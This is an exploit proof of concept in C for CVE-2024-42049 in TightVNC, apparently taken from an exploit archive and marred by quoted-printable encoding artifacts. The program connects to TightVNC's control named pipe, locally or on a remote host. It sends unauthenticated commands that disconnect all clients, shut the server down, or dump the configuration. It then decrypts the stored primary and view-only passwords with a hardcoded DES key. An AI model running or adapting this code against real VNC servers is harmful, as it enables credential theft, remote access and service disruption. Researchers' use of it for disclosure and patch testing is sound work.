# Exploit Title: TightVNC 2.8.83 - Control Pipe Manipulation # Date: 06/09/2025 # Exploit Author: Ionut Zevedei (mail@izvd.eu) # Exploit Repository: https://github.com/zeved/CVE-2024-42049-PoC # Vendor Homepage: https://www.tightvnc.com/ # Software Link: https://www.tightvnc.com/download.php # Version: 2.8.83 # Tested on: Windows 10 x64 - TightVNC 2.5.10, 2.8.81 # CVE : CVE-2024-42049 #include =20 #include #include #include #include "descrypt.h" #define GETBYTE(x, n) (((x) >> ((n) * 8)) & 0xFF) #define BUFFER_SIZE 512 #define TVNC_CMD_DISCONNECT_ALL_CLIENTS 0x06 #define TVNC_CMD_GET_CLIENT_LIST 0x04 #define TVNC_CMD_SHUTDOWN_SERVER 0x07 #define TVNC_CMD_GET_SERVER_INFO 0x11 #define TVNC_CMD_GET_CONFIG 0x12 const unsigned int commands[6] =3D { TVNC_CMD_DISCONNECT_ALL_CLIENTS, TVNC_CMD_GET_CLIENT_LIST, TVNC_CMD_SHUTDOWN_SERVER, TVNC_CMD_GET_SERVER_INFO, TVNC_CMD_GET_CONFIG, }; unsigned char des_key[8] =3D { 23, 82, 107, 6, 35, 78, 88, 7 }; void get_bytes(unsigned int data, unsigned char* out) { out[0] =3D GETBYTE(data, 3); out[1] =3D GETBYTE(data, 2); out[2] =3D GETBYTE(data, 1); out[3] =3D GETBYTE(data, 0); } // printf is wonky when printing passwords later void print_passwd(unsigned char* passwd) { for (int i =3D 0; i < 8; i++) { printf("%c", passwd[i]); } printf("\n"); } void print_error(unsigned long error_code) { unsigned char* buffer; =20 // damn it windows... FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, error_code, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &buffer, 0, NULL); printf("[error]: %s\n", buffer); } void decrypt_passwords(unsigned char *buffer_ptr, unsigned int offset) { unsigned char primary_passwd[8] =3D { 0x00 }; unsigned char view_only_passwd[8] =3D { 0x00 }; printf("\n\tencrypted primary password: "); for (int i =3D 0; i < 8; i++) { primary_passwd[i] =3D buffer_ptr[offset + 8 + i]; printf("%02x ", primary_passwd[i]); } printf("\n\tencrypted view-only password: "); for (int i =3D 0; i < 8; i++) { view_only_passwd[i] =3D buffer_ptr[offset + i]; printf("%02x ", view_only_passwd[i]); } unsigned char primary_passwd_decrypted[8] =3D { 0x00 }; unsigned char view_only_passwd_decrypted[8] =3D { 0x00 }; decrypt(primary_passwd_decrypted, view_only_passwd, sizeof(primary_passwd_decrypted), des_key); decrypt(view_only_passwd_decrypted, primary_passwd, sizeof(view_only_passwd_decrypted), des_key); printf("\n\tdecrypted primary password: "); print_passwd(primary_passwd_decrypted); printf("\tdecrypted view-only password: "); print_passwd(view_only_passwd_decrypted); } BOOL open_pipe(PHANDLE handle_ptr, char *pipe_name) { unsigned long pipe_mode; BOOL result =3D FALSE; printf("[~] opening pipe %s...\n", pipe_name); while (1) { *handle_ptr =3D CreateFile( pipe_name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL ); if (*handle_ptr !=3D INVALID_HANDLE_VALUE) { printf("[+] pipe opened\n"); break; } if (GetLastError() !=3D ERROR_PIPE_BUSY) { printf("[-] could not open pipe\n"); print_error(GetLastError()); return FALSE; } printf("[~] waiting for named pipe to be available - if this hangs the = pipe server might be dead.\n"); WaitNamedPipe(pipe_name, NMPWAIT_WAIT_FOREVER); } pipe_mode =3D PIPE_READMODE_BYTE; result =3D SetNamedPipeHandleState(*handle_ptr, &pipe_mode, NULL, NULL); if (!result) { printf("[-] failed setting pipe read mode\n"); print_error(GetLastError()); return result; } return result; } int main(int argc, char* argv[]) { HANDLE pipe_handle =3D NULL; unsigned char message[8] =3D { 0x00 }; unsigned char buffer[BUFFER_SIZE] =3D { 0x00 }; BOOL result =3D FALSE; unsigned long bytes_read, bytes_written; unsigned int cmd_index =3D 0; unsigned int offset =3D 30; if (argc < 3) { printf("usage: %s \n", argv[0]); printf("offset - optional: default is 30 - change as needed\n"); printf("commands:\n"); printf("\t1 - disconnect all clients\n"); printf("\t2 - get client list\n"); printf("\t3 - shutdown server\n"); printf("\t4 - get server info\n"); printf("\t5 - get server config\n"); printf("example pipes:\n\t\\\\192.168.1.42\\pipe\\TightVNC_Service_Cont= rol\n"); printf("\t\\\\.\\pipe\\TightVNC_Application_Control_On_Session1\n\n"); return 0; } char* stop =3D NULL; cmd_index =3D strtol(argv[1], &stop, 10); if (stop =3D=3D '\0') { return 0; } cmd_index--; if (argc =3D=3D 4) { stop =3D NULL; offset =3D strtol(argv[3], &stop, 10); if (offset =3D=3D 0 || stop =3D=3D '\0') { return 0; } } if (!open_pipe(&pipe_handle, argv[2])) { goto exit; } printf("[i] sending command...\n"); =20 get_bytes(commands[cmd_index], message); result =3D WriteFile(pipe_handle, message, 8, &bytes_written, NULL); if (!result) { printf("[-] failed writing to pipe\n"); print_error(GetLastError()); goto exit; } printf("[~] message sent; waiting for reply\n"); do { result =3D ReadFile( pipe_handle, buffer, BUFFER_SIZE * sizeof(unsigned char), &bytes_read, NULL ); if (!result && GetLastError() !=3D ERROR_MORE_DATA) break; printf("[+] got %d bytes back!\n", bytes_read); printf(" hex: \n\t"); for (int i =3D 0; i < bytes_read; i++) { printf("%02x ", buffer[i]); } printf("\n char: \n\t"); for (int i =3D 0; i < bytes_read; i++) { printf("%c", buffer[i]); } printf("\n\n"); if (cmd_index =3D=3D 4) { printf("\n[~] command is get config, attempting to decrypt passwords = using offset %d...\n", offset); decrypt_passwords(&buffer, offset); } memset(buffer, 0, BUFFER_SIZE); } while (!result); if (!result) { printf("[-] failed reading from pipe\n"); print_error(GetLastError()); goto exit; } printf("\n[+] done\n\n"); exit: if (pipe_handle !=3D NULL) { CloseHandle(&pipe_handle); } return 0; }